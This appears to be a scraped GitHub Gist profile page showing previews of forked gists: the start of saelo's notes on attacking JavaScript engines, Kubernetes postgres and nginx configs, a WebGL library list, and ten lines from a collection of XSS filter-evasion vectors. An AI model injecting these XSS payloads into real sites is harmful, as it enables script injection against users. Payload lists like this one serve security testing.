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|=-----------------------------------------------------------------------=|
|=-------------=[ 3 Years of Attacking JavaScript Engines ]=-------------=|
|=-----------------------------------------------------------------------=|
|=------------------------------=[ saelo ]=------------------------------=|
|=-----------------------------------------------------------------------=|
The following are some brief notes about the changes that have taken place
since the release of the "Attacking JavaScript Engines" paper [1]. In
general, no big conceptional changes have happened since. Mitigations have
been added to break some of the presented techniques and, as expected, a
@annibuliful
annibuliful / postgres-cluster.yaml
Created March 13, 2023 05:19 — forked from kofemann/postgres-cluster.yaml
Running postgres in kubernetes
#
# postgres cluster in kubernetes with max 8 replicas
#
# the master is always on ${host}-0
#
#
# postgres master/slave configuration
#
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annibuliful / WebGL-WebGPU-frameworks-libraries.md
Created December 13, 2021 15:58 — forked from dmnsgn/WebGL-WebGPU-frameworks-libraries.md
A collection of WebGL and WebGPU frameworks and libraries

A non-exhaustive list of WebGL and WebGPU frameworks and libraries. It is mostly for learning purposes as some of the libraries listed are wip/outdated/not maintained anymore.

Engines and libraries

  • three.js: JavaScript 3D library
  • stack.gl: an open software ecosystem for WebGL, built on top of browserify and npm.
  • PixiJS: Super fast HTML 5 2D rendering engine that uses webGL with canvas fallback
  • Pex: Pex is a javascript 3d library / engine allowing for seamless development between Plask and WebGL in the browser.
  • Babylon.js: a complete JavaScript framework for building 3D games with HTML 5 and WebGL
  • Filament: Filament is a real-time physically based rendering engine for Android, iOS, Windows, Linux, macOS and WASM/WebGL
  • ClayGL: A WebGL graphic library
upstream app_server {
ip_hash;
server app_react:3000 max_fails=3 fail_timeout=30s;
}
upstream api_server {
ip_hash;
server api_feathers:3040 max_fails=3 fail_timeout=30s;
}
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annibuliful / 666_lines_of_XSS_vectors.html
Created November 27, 2017 16:09 — forked from JohannesHoppe/666_lines_of_XSS_vectors.html
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>